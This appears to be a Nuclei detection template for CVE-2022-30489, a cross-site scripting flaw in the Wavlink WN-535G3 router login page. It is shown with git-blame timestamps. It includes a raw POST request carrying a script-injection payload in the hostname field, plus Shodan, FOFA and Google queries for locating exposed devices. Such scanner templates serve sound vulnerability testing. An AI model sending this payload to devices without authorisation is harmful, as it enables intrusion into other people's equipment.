nuclei-templates/http/cves/2022/CVE-2022-30489.yaml

67 lines
2.4 KiB
YAML
Raw Normal View History

2022-05-14 07:30:47 +00:00
id: CVE-2022-30489
info:
name: Wavlink WN-535G3 - Cross-Site Scripting
2022-05-14 07:30:47 +00:00
author: For3stCo1d
severity: medium
description: |
Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
2022-05-14 07:30:47 +00:00
reference:
- https://github.com/badboycxcc/XSS-CVE-2022-30489
- https://github.com/badboycxcc/XSS
- https://nvd.nist.gov/vuln/detail/CVE-2022-30489
2024-05-31 19:23:20 +00:00
- https://github.com/trhacknon/Pocingit
- https://github.com/trhacknon/XSS-CVE-2022-30489
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-30489
cwe-id: CWE-79
2024-05-31 19:23:20 +00:00
epss-score: 0.00102
epss-percentile: 0.41641
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:*
2022-05-14 07:30:47 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: wavlink
product: wn535g3_firmware
shodan-query:
- http.title:"Wi-Fi APP Login"
- http.html:"wavlink"
- http.title:"wi-fi app login"
fofa-query:
- title="wi-fi app login"
- body="wavlink"
2024-05-31 19:23:20 +00:00
google-query: intitle:"wi-fi app login"
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,xss,wavlink,router,iot
2022-05-14 07:30:47 +00:00
http:
2022-05-14 07:30:47 +00:00
- raw:
- |
POST /cgi-bin/login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn
matchers-condition: and
matchers:
- type: word
words:
- '<script>alert(document.domain);</script>'
2022-05-15 11:00:27 +00:00
- 'parent.location.replace("http://")'
condition: and
2022-05-14 07:30:47 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a004830460221009c9eb4d9f89dd9acb2440d681ad5fc96c0bc0f355f0bad4cb41c75ef238f4003022100d489f16dd31914c47ea68c03ee53aa8f7538121faf96812392748ac21576284a:922c64590222798bb761d5b6d8e72950